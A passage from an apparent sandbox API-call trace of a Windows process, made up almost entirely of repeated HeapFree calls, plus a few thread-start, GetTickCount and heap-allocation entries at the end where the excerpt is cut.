hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0282.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.623] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.623] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.623] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.623] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.623] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.623] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0282.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.642] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.644] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0282.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0282.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0283.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0283.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0283.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.827] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.827] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.827] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0283.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0283.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0283.831] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0283.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0283.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0283.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0283.834] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.834] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0283.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0283.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0283.890] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.890] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0283.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0284.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0284.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0284.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0284.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0284.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0284.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.502] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0284.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0284.727] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0284.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0284.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.796] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0284.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0284.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0284.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0284.817] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0284.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0284.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0284.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011c48 | out: hHeap=0x630000) returned 1 [0284.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0284.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0284.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0284.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0284.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0284.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0284.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0284.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0284.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0285.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0285.124] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0285.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0285.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0285.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0285.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0285.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0285.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0285.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0285.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001c40 | out: hHeap=0x630000) returned 1 [0285.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0285.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0285.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0285.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0285.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0285.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0285.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0285.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0285.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3210068 | out: hHeap=0x630000) returned 1 Thread: id = 2568 os_tid = 0x26cc [0241.207] GetTickCount () returned 0x14476 [0241.207] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x24) returned 0x6ef178 [0241.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6ef178, 